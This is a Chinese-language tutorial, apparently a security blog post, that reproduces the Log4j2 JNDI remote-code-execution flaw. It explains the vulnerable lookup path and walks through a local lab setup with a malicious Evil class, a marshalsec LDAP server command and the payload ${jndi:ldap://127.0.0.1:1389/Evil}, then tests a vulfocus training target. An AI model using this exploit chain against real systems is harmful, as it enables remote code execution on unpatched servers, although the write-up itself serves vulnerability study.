log4j2-RCE 漏洞复现

0x01 漏洞情况

Apache Log4j2 是 Apache 的一个开源项目,Apache Log4j2 是一个基于 Java 的日志记录工具,使用非常广泛,被大量企业和系统索使用,漏洞触发及其简单,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置

实际受影响范围如下

Apache Log4j 2.x < 2.15.0-rc2

目前为止已知如下组件存在漏洞:

Spring-Boot-strater-log4j2
ApacheStruts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmware

0x02 知识储备

2.1 JAVA 的命令执行

2.1.1 Java中RunTime类

Runtime 类代表着Java程序的运行时环境,每个Java程序都有一个Runtime实例,该类会被自动创建,我们可以通过Runtime.getRuntime() 方法来获取当前程序的Runtime实例。

并且可以通过 Runtime.getRuntime().exec([command]) 执行本机命令。

示例程序:

public class RuntimeTest{
public static void main(String args[]){
Runtime run = Runtime.getRuntime() ; // 取得Runtime类的实例化对象
try{
run.exec("calc.exe") ; // 调用本机程序,此方法需要异常处理
}catch(Exception e){
e.printStackTrace() ; // 打印异常信息
// System.out.println(e) ;
}
}

运行结果:

image-20211213151824869

所以我们可以通过这个RunTime类去编写一个类来执行任意代码,即恶意类

2.2 JNDI注入

首先让我们先看看什么是 JNDI:

JNDI

JNDI 是Java命名和目录接口(JNDI)是一种 Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:

String jndiName= [name];//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

Context.lookup()

Context.lookup() 是一个用于从命名服务中查找对象并返回该对象的方法,将要检索的对象的名称作为它的参数。假设在一个地址为127.0.0.1的jdni-LDAP服务器中存在一个名称为Exploit的对象。要检索对象并返回它,您可以编写

Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");

lookup()返回的对象的类型既取决于基础的命名系统,也取决于与对象本身关联的数据。命名系统可以包含许多不同类型的对象,并且在系统的不同部分中查找对象可能会产生不同类型的对象。在此示例中,"ldap://127.0.0.1:1389/Exploit正巧绑定到上下文对象127.0.0.1:1389/Exploit.class。您可以将lookup()的结果强制转换为其目标类。

并且在返回这个类时,lookup()会将它实例化,即会对这个类进行初始化。当我们在这个初始化的过程中放入一些恶意代码,就能让这些恶意代码被执行。

JNDI 注入方法

所谓的JNDI注入就是当上文代码中 jndiName 这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。平常使用JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

JNDI+LDAP实现攻击手法

限制条件:

在JDK 8u191之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。这样的方式没法进行利用,但是还是会有绕过方式。感兴趣的小伙伴可以自行去了解,在这里就不介绍了。

原理图:

image-20211213160959917

至于一个java应用为什么会请求恶意类,这就是漏洞所在,大家先带着这个疑问看下去,在之后我会进行解答。

具体实现:

1.攻击者编写一个恶意类

这里就编写一个打开计算器的恶意类

public class Evil {
public Evil() throws Exception{ //注意方法的名字需要和类名相同,这样在初始化时才会被执行
Runtime.getRuntime().exec("calc");
}
}
2.攻击者在本地起一个HTTP服务并且上传恶意类文件

我这里直接是在保存恶意类的文件夹下用python起了一个HTTP服务,就不需要再上传文件上去了

python -m http.server 1234(端口号)

这样就成功了:

image-20211213162422871

3.攻击者在本地起一个LDAP服务并且与HTTP服务绑定

这一步可以用 marshalsec反序列化工具 ,也可以自己手工起:

手工起太慢了,这里我就利用工具起一个:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#Evil

image-20211213162622531

4.模拟客户端向LDAP服务器请求恶意类

客户端代码:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class ldap {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/a");
}
}

执行效果:

image-20211213164628462

实现原理

InitialContext().lookup 会向127.0.0.1的1389端口开的LDAP服务发送恶意类请求,由于该LDAP服务器已经与开在127.0.0.1的1234端口上的HTTP服务上的恶意类进行了绑定,那么客户端的请求就会返回一个恶意类,并且 在lookup里会将这个类实例化成一个对象,在实例化过程中会执行与这个恶意类同名的方法 ,由此就可以进行RCE了。

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

原理图:

image-20211213155943593

RMI攻击方式类似LDAP,而且比LDAP攻击方式还要更简单,但是只适用于低版本的 JDK,这里就不做具体演示

0x03 log4j2漏洞利用

3.1 漏洞成因

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format 中,会按字符检测每条日志,一旦发现某条日志中包含$ {,则触发替换机制,也就是将表达式内的内容替换成真实的内容,而真实内容来自于lookup找到的内容,而lookup可以通过LDAP协议请求恶意类,执行恶意类,最终达到RCE(远程代码执行)。

3.2 本地复现

模拟一个使用log4j2的记录登入报错的服务器:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Scanner;

public class log4j2Test {
private final static Logger logger = LogManager.getLogger(log4j2Test.class);

public static void main(String[] args) {
Scanner input = new Scanner(System.in);
System.out.print("Input your name: ");
String name = input.nextLine();
if(name.length() >= 5){
logger.error("vailed name:" + name); //打印日志
}

}
}

攻击者利用JNDI的LDAP注入方法:

先构造一个恶意类Evil:

public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

再用工具将LDAP服务与恶意类绑定:

image-20211213184026115

image-20211213184053581

在服务器中输入Payload:

${jndi:ldap://127.0.0.1:1389/Evil}

可以看到日志被打印出来了,而且Evil.class被成功执行:

image-20211213184341980

3.3 漏洞调试

在logger.error下个断点,跟进去看看

image-20211213212146837

发现在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中,会按字符检测每条日志,一旦发现某条日志中包含$ {,则触发替换机制,也就是将表达式内的内容替换成真实的内容,其中config.getStrSubstitutor().replace(event, value)执行下一步替换操作,关键代码如图

image-20211213212414022

再往下跟,会发现这个函数会将 $ {后面的字符提取出来直到遇到 }

image-20211213211617364

最后,会在这里会调用 **lookup()**,这个lookup()同我们上面介绍的context.lookup()一样支持LDAP协议来实例化一个类:image-20211213211835184

3.4 实战测试

当然,实战不是去打别人的网站,那是违法的,但是我们可以去打打靶场。

这是一个vulfocus的靶场:

image-20211213184935814

利用POST传递payload, 由于该RCE 漏洞,在目标环境中是没有回显的。需要借助DNSlog 平台,利用DNS 解析来验证漏洞存在性:

image-20211213185854910

有响应,说明存在JNDI注入:

image-20211213190119116

这里需要在一个带有公网ip的服务器上起服务,这里我是在我的云服务器上,利用JNDIExploit工具起的:

image-20211213205001034

执行payload,达到RCE:

image-20211213204754180